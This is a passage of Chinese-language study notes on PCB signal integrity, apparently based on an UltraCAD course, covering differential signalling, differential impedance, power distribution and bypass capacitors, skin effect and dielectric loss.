信号逻辑判断时机</strong></p><p>对于单端信号，我们需要高电平阈值和低电平阈值。信号低于低电平阈值时是逻辑 0，高于高电平阈值时是逻辑 1。但高低电平阈值中间的区域实际上是不确定的。</p><p>对于差分信号，仅需当正信号在负信号上时，是逻辑 1，反之是逻辑 0。交点是明确的，没有不确定的区域。</p><p>不过，即使在单端信号中，我们也有容差设计，来让系统正常工作，因此这个优势可能并不明显。</p><hr><p>综上，提升信噪比可能是差分信号最重要的优势。</p><hr><p><strong>4.1.2 差模与共模</strong></p><p>有些人说，对于差分（奇模），信号从一条走线过去，而在另一条返回。对于共模（偶模），信号在两条走线上向同一个方向传输。</p><p>这个理解不完善。时刻记住每条信号都有一个回流。</p><p>作者认为更好的解释是：</p><ul><li>差分：按照我们的设计，去我们想让它去的地方的信号；</li><li>共模：其他所有信号。</li></ul><p>举例：一个 10mA 的信号，由 9.95mA 按我们的预期返回（差模），另外 50uA 从其他地方返回（共模），那么信号线上是 9.975mA 的信号与同向的 25uA 回流，返回路径上则是 9.975mA 的回流信号与反向的 25uA 回流。差分线上的情况一模一样。</p><p>但实际上，我们不知道剩余的 50uA 回流信号在哪。而且由于回流路径（环路面积）现在不受控，可能会产生额外的 EMI。偶然因素、不当的设计等都可能是其产生的原因。</p><p>对于防止这种情况发生：</p><ul><li>从源头阻止；</li><li>利用电容将其短路。</li></ul><p>上述电容来源于旁路电容和平面电容。</p><p>作者的设计规则之二（之一见 3.1）：为了防止产生 EMI，使用电源与地平面之间的平面电容。</p><h3 id="4.2-%E7%90%86%E8%A7%A3%E5%B7%AE%E5%88%86%E9%98%BB%E6%8A%97" tabindex="-1">4.2 理解差分阻抗</h3><p><img src="//pic.tyatt.top/PCB-SI/image%2020.png" alt="image.png"></p><p>对于耦合的差分对里的一条线，其阻抗来源于自身特性，加上耦合而来的电流通过欧姆定律算出来的值。</p><p>这不好。不过大部分时候，我们可以忽略掉这个额外的阻抗。比如：</p><ul><li>线距很宽，k 很小，忽略；</li><li><eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">i_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq>是 0，无；</li><li><eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mn>2</mn></msub><mo>&lt;</mo><mo>&lt;</mo><msub><mi>i</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">i_2 &lt;&lt; i_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq>，忽略；</li><li><eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">i_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq>是直流，无；</li><li><eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">i_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq>与 <eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">i_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq> 无关，则 <eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>Z</mi><mn>12</mn></msub></mrow><annotation encoding="application/x-tex">Z_{12}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq> 的平均是 0，无（这实际上就是串扰）。</li></ul><hr><p>06:15：差模和共模各种情况下的阻抗与位置。</p><h3 id="4.3-%E9%81%BF%E5%85%8Dpcb%E4%B8%AD%E5%B7%AE%E5%88%86%E8%AE%BE%E8%AE%A1%E7%9A%84%E9%99%B7%E9%98%B1" tabindex="-1">4.3 避免 PCB 中差分设计的陷阱</h3><p>典型的，也是作者推崇的高速差分信号设计规则：</p><ol><li>差分对下的接地必须完整；</li><li>两条线必须等长；</li><li>走线必须尽可能接近彼此；</li><li>必须遵循差分阻抗规范；</li><li>走线之间必须处处等距。</li></ol><hr><p>有人反对：不需要完整地平面（因为理论上地上没信号）；不需要等长，因为时序问题的容差更大。</p><p>作者认为这两点不可能同时成立。</p><p>当差分信号真正的相等反向时（这需要线路完全等长），地上确实没有信号。但如果走线不等长，那么无法做到相等反向，线上会存在净电流，则地上必然存在信号。</p><p>不等长的原因可能有很多：</p><ul><li>实际上难以精确等长；</li><li>驱动器自身的偏移；</li><li>传播速度不同（走线所在的层不同；在超级短的上升时间时，前面提到的玻纤编织和树脂填充的区别也会产生影响）。</li></ul><p>非等长会导致：电路中其他部分产生净共模电流，回路面积不再可控，引发 EMI 等问题。</p><p>因此，必须等长，或者走线下方必须有完整的参考平面。最好都实现。</p><hr><p>对于“走线必须靠近彼此”：越靠近，环路面积越小，EMI 越小。</p><p>11:19：有人认为如果良好铺地，那么每条走线实际上是独立的单端走线，回流路径在地平面上。但实际上这仅在信号还未到达接收端时成立。当信号到达接收端后，地平面上的回流信号会变成一个涡流，然后消失。此时环路面积被明显扩大了。因此，最好直接缩小差分线的间距。</p><p>另外，离得越近，噪声越“共模”，越利于消除共模噪声。</p><hr><p>对于差分阻抗规则，由于前述规则，差分阻抗会较为明显。为避免反射，应严格遵循差分阻抗设计规则。</p><hr><p>对于间距不变规则，由于间距影响差分阻抗，因此为了消除反射，需要控制间距不变。</p><hr><p>如何取舍等长和等距问题？</p><p>等长优先，因为不等长会立刻产生共模信号，导致 EMI 问题。但如果间距不等造成的阻抗不连续问题在临界长度范围内，则影响小得多。</p><hr><p>因此：</p><ol><li>差分对下的接地必须完整，因为信号难以做到精确的相等反向；</li><li>两条线必须等长，为了消除共模噪声；</li><li>走线必须尽可能接近彼此，为了抑制 EMI 与共模噪声；</li><li>必须遵循差分阻抗规范，因为走线紧密相邻；</li><li>走线之间必须处处等距，为了恒定差分阻抗。</li></ol><p>这些规则是互相关联，层层递进的，不能片面孤立的争论。</p><p>总结：</p><ul><li>除非遇到信号完整性问题，否则差分对其实不需要特别的设计规则；</li><li>不能对设计规则断章取义；</li><li>等长规则是最重要的；</li><li>实际中，共模信号无法避免；</li><li>因此即使做对了其他所有规则，也应该加上一个平面电容。</li></ul><h2 id="%E4%BA%94%E3%80%81%E8%A7%A3%E5%86%B3%E7%94%B5%E6%BA%90%E5%88%86%E9%85%8D%E7%B3%BB%E7%BB%9F%EF%BC%88pds%EF%BC%89%E9%97%AE%E9%A2%98" tabindex="-1">五、解决电源分配系统（PDS）问题</h2><p>有两大问题：</p><ol><li>如何确保开关时有足够的电荷来满足需要；</li><li>如何控制开关噪声。</li></ol><h3 id="5.1-%E7%90%86%E8%A7%A3%E7%94%B5%E6%BA%90%E5%88%86%E9%85%8D%E7%B3%BB%E7%BB%9F%E9%97%AE%E9%A2%98" tabindex="-1">5.1 理解电源分配系统问题</h3><p>对于两个芯片串联，我们只能把 vcc 和 gnd 通过引脚和焊盘接在一起，而这俩上面有寄生电感。因此当输出变化时，其电压相对内部 gnd 是正常的，而相对经过了寄生电感的外部 gnd，会出现地弹效应，即电压先短暂上升，后下降。这会导致电压降过低电平阈值的时间延后了。因此，地弹会拖慢系统运行速度。</p><p><img src="//pic.tyatt.top/PCB-SI/image%2021.png" alt="image.png"></p><p>因此，目前有两个问题：</p><ol><li>电荷如何抵达其被需要的地点；</li><li>如何控制地弹。</li></ol><hr><p>这个教程使用英制单位。电荷速度是 6 英寸每纳秒。那么以开关为圆心画一个半径 6 英寸的圆，如果上升时间只有 1 纳秒，那么电荷只可能从那个圆形以内的范围过去。</p><p>事实上，一半的开关需求电荷必须在 3 英寸范围内，四分之一的开关需求必须在 1.5 英寸之内。</p><p>可能的电荷来源？</p><ol><li>电源：通常伴随大量电感，而且距离很远；</li><li>旁路电容：“电子小水桶”，但多大？并且其本身有寄生电感？如何摆放？</li><li>平面电容：把电源层和地平面层放的很近：实际上真的存在吗？有多大？优点是通常寄生电感很小，因此即使容量小，也可以很快；电荷分布在一个区域内，而非像旁路电容那样在一个点。</li></ol><p>可能的电荷来源示意：</p><p><img src="//pic.tyatt.top/PCB-SI/image%2022.png" alt="image.png"></p><p>电容类都是一个峰，电源是一个缓上升的曲线（由于其大电感）。</p><p>平面电容如果存在，则是最快、最小的。</p><p>小旁路电容（0.01）速度和容量均其次。</p><p>大容量电容（0.1）最慢，容量最大，填补主要空缺。</p><p>如果发现即使是平面电容，也不够快，那么很不幸，系统上限就到这了。需要更有创意的解决方案。</p><hr><p>如何控制地弹？仍然是电容。最理想的是内部链接元件之间的 vcc 与 gnd，并在其之间连接一个电容，但很不幸，这显然无法实现，我们无法绕过引脚。</p><p>现实的做法是在电路板的 vcc 与 gnd 之间连接电容。引脚上的寄生电感无法消除。同时注意，外部的电容与其焊盘上也有寄生电感。但这仍然是现实中的最优方案。</p><p>那么，关于旁路电容，多少？在哪？怎么走线？有传统法和阻抗法两种方法，详见 5.2。</p><hr><p>旁路电容和平面电容虽然能解决本课提到的问题，但并非完整的解决方案。还有其他需要考虑的因素。</p><h3 id="5.2-%E5%AF%B9%E6%AF%94%E4%BC%A0%E7%BB%9F%E5%92%8C%E9%98%BB%E6%8A%97%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88" tabindex="-1">5.2 对比传统和阻抗解决方案</h3><p>传统方法其实就是参见 5.1 的图 2，用多个电容组合：</p><ul><li>电源；</li><li>大容量电容（0.1）；</li><li>更小的旁路电容（0.01）；</li><li>分布式平面电容。</li></ul><p>典型具体使用方式：</p><ul><li>对于每个供电需求，使用 1-2 个旁路电容；</li><li>使用低电感的元件、低电感的焊盘和过孔；</li><li>靠近需求电荷的地方；</li><li>但还有一些问题，比如使用走线连接焊盘，还是直接打过孔到平面（此时设备的 vcc 和 gnd 也是直连平面，因此从设备的 vcc 到电容，或者从设备的 gnd 到电容，都需要经过平面）？靠近 vcc 还是 gnd？</li></ul><hr><p>有人认为，问题不在于阻止噪声进入设备，而是阻止噪声从设备进入平面。平面应当是安静的。</p><p>因此，使用单独的走线直连设备的 vcc 和 gnd，可以把开关噪声阻止在走线内，而不进入平面。</p><p>但另一方面，我们需要减小走线的电感，因此使用直连平面法，还是单独连线法，走线的电感会成为棘手的问题。两种走线方式谁的电感小，一直是争论不休的话题。</p><p>现实中，省空间经常会变成最重要的需求，因此最终，我们还是更常用直连平面法。</p><hr><p>那么，靠近 vcc 还是 gnd？</p><p>作者认为，大多数信号以地作为参考，我们真正想做的是保护参考的信号完整性，因此作者认为应该把旁路电容放在地旁边，来保持参考的良好和纯净。</p><p>有些 CMOS 电路实际上参考 vcc 和 gnd 的中点，因此此时，作者会把电容放在中间，是的 vcc 和 gnd 到电容的电感值差不多。</p><hr><p>来看阻抗法。假设：我们希望电源的阻抗曲线是在直流时高，在其他任何地方都低（这意味着没有太多的电感，这样就可以短路共模信号，并消除所有噪声）。</p><p>事实上，我们希望除了直流以外，所有情况都是短路的，不过这不太可能。这条阻抗特性曲线永远向右下倾斜，因此显示出电容特性。</p><p>对于现实中的电容，均有寄生电感。0.01uF 的电容可能有 10nH 的电感，此时谐振发生在 16MHz，阻抗曲线类似向下的箭头。这和我们的需要不太一样。</p><p>但如果把 200 给个上述电感并联，阻抗曲线会变成更像是直边三角形的向下箭头。这仍然不对，但好多了。</p><p>如果再加上 20 个 50uF（20nH）的电容，我们可以覆盖更宽的频率范围。</p><p>如果再加上平面电容（可以用电容器的决定式算出容值，假设三英寸见方，平面间距 10mil，容值是 800pF 左右），比如一个 905pF 的平面电容，这一般会没有电感，因此阻抗特性曲线就是向右下减小的直线。效果如下图所示：</p><p><img src="//pic.tyatt.top/PCB-SI/image%2023.png" alt="image.png"></p><p>基本达成需求，但有一个问题：曲线相交点（混连出现的新的反谐振点）的阻抗实际上会趋于无穷。如果有噪声的频率正好落入这个范围，那他将无法得到有效处理，将会污染电路，甚至可能向外辐射噪声。很不幸，这一个现象较为常见。</p><p>作者不打算在这里讲详细的理论，具体推导见作者文章 *”ESR and Bypass Cap Self-Resonant Behavior, How to Select Bypass Caps”*。ultraCAD 提供单独的 pds 阻抗计算器。</p><p>现实中，问题不会很好，但也不会那么糟，因为电容还有寄生串联电阻 ESR。越大的 ESR 可以越强烈的对阻抗特性曲线平滑，”削峰填谷“。仔细调整各项参数值，可以达到非常好的效果。</p><p><img src="//pic.tyatt.top/PCB-SI/image%2024.png" alt="image.png"></p><hr><p>阻抗法的总结：</p><ol><li>仔细选择电容类型；</li><li>低电感的连接和布线；</li><li>考虑平面电容本身；</li><li>用多种电容值组合来达到理想的响应；</li><li>分散电容值，不要让自谐振频率集中（推论：别只用两种容值。多种容值自身就可以平滑阻抗响应）；（趣事：三十年前的电容值公差更大，反而有利于这里的使用）</li><li>中等的 ESR 比低 ESR 更优；</li><li>“放置”本身不太重要，因为我们一直在从阻抗曲线的角度思考问题，但把电容器放的足够近仍然重要，以保障电荷能及时到达。</li></ol><hr><p>总结：</p><ul><li>在层叠设计中引入平面电容；</li><li>作者认为阻抗法更优，但为了电荷的输送更及时，把电容放近点仍很必要。</li></ul><h2 id="%E5%85%AD%E3%80%81%E7%90%86%E8%A7%A3%E9%AB%98%E9%A2%91%E9%98%BB%E6%8A%97%E6%8D%9F%E5%A4%B1%EF%BC%88%E8%B6%8B%E8%82%A4%E6%95%88%E5%BA%94%E3%80%81%E4%BB%8B%E7%94%B5%E6%8D%9F%E8%80%97%E4%B8%8E%E6%9C%89%E6%8D%9F%E4%BC%A0%E8%BE%93%E7%BA%BF%EF%BC%89" tabindex="-1">六、理解高频阻抗损失（趋肤效应、介电损耗与有损传输线）</h2><p>一般认为电阻独立于频率，但趋肤效应与介电损耗会使得其开始相关。</p><h3 id="6.1-%E8%B6%8B%E8%82%A4%E6%95%88%E5%BA%94" tabindex="-1">6.1 趋肤效应</h3><p>低频下，电流密度在导体横截面上均匀分布。但高频下，电流密度更集中于横截面的外沿。电流倾向于沿着外围流动（并非只在绝对表面流动）。这就是趋肤效应。</p><p>原因：法拉第定律，电流也可以在自身导线中感应出反向的电流。感应电流流向磁场最强的地方——导体的中心线。</p><p>集肤效应与导体的形状无关。集肤深度不受导体形状影响。</p><p>可以假设电流从表面到趋肤深度时是均匀的，趋肤深度内无电流，但实际上电流密度随深度成指数下降。假设与实际的情况，对电流密度的积分结果，也就是电流，是相同的。这也可以当作趋肤深度的一种定义。</p><p>因此，考虑到欧姆定律与电阻的决定式，趋肤效应会改变电流与电压的关系，这有可能对走线与信号传输产生影响。</p><p>趋肤效应是有损传输线的损耗的“元凶”之一，也会影响我们控制走线的阻抗与端接。</p><p>电流和温度也会受到影响。</p><p>信号完整性方面，随频率升高，走线的电阻增大，因此高频谐波对比低频谐波，会面临更高的电阻和压降，这意味着高频谐波被衰减了。这使得波形失真，最终导致上升时间变慢。</p><h3 id="6.2-%E6%B7%B1%E5%85%A5%E5%AD%A6%E4%B9%A0%E8%B6%8B%E8%82%A4%E6%95%88%E5%BA%94" tabindex="-1">6.2 深入学习趋肤效应</h3><p>趋肤深度与走线截面形状无关，与频率有关：</p><section><eqn><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>S</mi><mi>k</mi><mi>i</mi><mi>n</mi><mi>D</mi><mi>e</mi><mi>p</mi><mi>t</mi><mi>h</mi><mo>=</mo><msqrt><mfrac><mrow><mn>2</mn><mo>∗</mo><mi>p</mi></mrow><mrow><mi>ω</mi><mo>∗</mo><mi>μ</mi></mrow></mfrac></msqrt><mo>=</mo><mfrac><mn>2.602</mn><msqrt><mi>f</mi></msqrt></mfrac><mrow><mi mathvariant="normal">i</mi><mi mathvariant="normal">n</mi><mi mathvariant="normal">c</mi><mi mathvariant="normal">h</mi><mi mathvariant="normal">e</mi><mi mathvariant="normal">s</mi></mrow></mrow><annotation encoding="application/x-tex">SkinDepth=\sqrt{\frac{2*p}{\omega*\mu}}=\frac{2.602}{\sqrt{f}} \mathrm{inches}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">in</span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mord mathnormal">e</span><span class="mord mathnormal">pt</span><span class="mord mathnormal">h</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.44em;vertical-align:-0.8856em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.5544em;"><span class="svg-align" style="top:-4.4em;"><span class="pstrut" style="height:4.4em;"></span><span class="mord" style="padding-left:1em;"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">ω</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">μ</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-3.5144em;"><span class="pstrut" style="height:4.4em;"></span><span class="hide-tail" style="min-width:1.02em;height:2.48em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="2.48em" viewBox="0 0 400000 2592" preserveAspectRatio="xMinYMin slice"><path d="M424,2478c-1.3,-0.7,-38.5,-172,-111.5,-514c-73,-342,-109.8,-513.3,-110.5,-514c0,-2,-10.7,14.3,-32,49c-4.7,7.3,-9.8,15.7,-15.5,25c-5.7,9.3,-9.8,16,-12.5,20s-5,7,-5,7c-4,-3.3,-8.3,-7.7,-13,-13s-13,-13,-13,-13s76,-122,76,-122s77,-121,77,-121s209,968,209,968c0,-2,84.7,-361.7,254,-1079c169.3,-717.3,254.7,-1077.7,256,-1081l0 -0c4,-6.7,10,-10,18,-10 H400000v40H1014.6s-87.3,378.7,-272.6,1166c-185.3,787.3,-279.3,1182.3,-282,1185c-2,6,-10,9,-24,9c-8,0,-12,-0.7,-12,-2z M1001 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist"style="height:0.8856em;"><span></span></span></span></span></span><span class="mspace"style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace"style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut"style="height:2.2514em;vertical-align:-0.93em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist"style="height:1.3214em;"><span style="top:-2.275em;"><span class="pstrut"style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist"style="height:0.835em;"><span class="svg-align"style="top:-3em;"><span class="pstrut"style="height:3em;"></span><span class="mord"style="padding-left:0.833em;"><span class="mord mathnormal"style="margin-right:0.10764em;">f</span></span></span><span style="top:-2.795em;"><span class="pstrut"style="height:3em;"></span><span class="hide-tail"style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg"width="400em"height="1.08em"viewBox="0 0 400000 1080"preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist"style="height:0.205em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut"style="height:3em;"></span><span class="frac-line"style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut"style="height:3em;"></span><span class="mord"><span class="mord">2.602</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist"style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="mord mathrm">inches</span></span></span></span></span></span></eqn></section><p>这个概念仅当其小于导体半径的一半时，才有意义。</p><p>交叉频率（Crossover Frequency）：趋肤深度刚好等于导体半径（走线厚度一半）时的频率，也就是趋肤效应开始生效时的频率。</p><hr><p>邻近效应（Proximity Effect）：当趋肤效应生效时，考虑传输线和回流路径，由于电荷异性相吸，更多的电流会流在靠近地平面一侧的趋肤效应区域内，这会进一步减少走线的有效截面积。</p><p>对于两条距离很近的走线，比如差分对，同理，电流会倾向于流在靠近另一条走线的区域内。</p><hr><p>地平面效应：由于邻近效应，地平面上的回流也会更靠近走线，这使得回流路径的电阻可能不再能视为 0Ω。</p><p>这个效应很难量化，一般认为可能导致有效电阻增加大约 30%。这个估计的误差很大。</p><hr><p>UltraCAD 的 PCB Trace Calculator 可以计算趋肤效应。</p><h3 id="6.3-%E4%BB%8B%E7%94%B5%E6%8D%9F%E8%80%97" tabindex="-1">6.3 介电损耗</h3><p>考虑走线、回流路径以及中间夹着的介电材料的这样一个“三明治模型”，对于一个变化的信号，当信号沿着走线传播时，它会在介电材料里建立一个电场。随着信号的移动，电荷会试图在介电材料的两面间来回摆动。这些电荷来自介电材料的原子结构，所以它们不会真正的移动出原子。信号极性变化使得这些电子在震动，信号频率越高，这种介电材料内部的震动越剧烈。</p><p>这种震动需要能量才能完成，而能量就来自信号能量的损失。</p><p>频率越高，极性改变越快，震动越强烈。因此高频谐波会受到更多的衰减。这和趋肤效应的表现很像。因此，这个效应也会导致上升时间减缓。</p><p>这个效应可以等效为如下的电路：走线和平面之间串联：电阻 R 与电容 C。R 是 ESR，C 就是传输线中的电容。阻抗<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Z</mi><mo>=</mo><mi>R</mi><mo>−</mo><mi>j</mi><mi mathvariant="normal">/</mi><mo stretchy="false">(</mo><mi>ω</mi><mo>∗</mo><mi>C</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">Z=R-j/(\omega*C)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mord">/</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">ω</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mclose">)</span></span></span></span></eq>。其相移角度的余角的正切值（也就是<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo>∗</mo><mi>ω</mi><mo>∗</mo><mi>C</mi></mrow><annotation encoding="application/x-tex">R*\omega*C</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4653em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">ω</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span></eq>）是损耗角正切，随频率增大而增大。</p><p>材料不同，ESR 和损耗角正切也不同。更贵的材料可能拥有更低的 ESR 和损耗角正切。但不管什么材料，损耗角正切都会随频率增大而增大。</p><p>阻抗的实部 ESR 是消耗功率的部分，也就是信号功率损失之所在。</p><h3 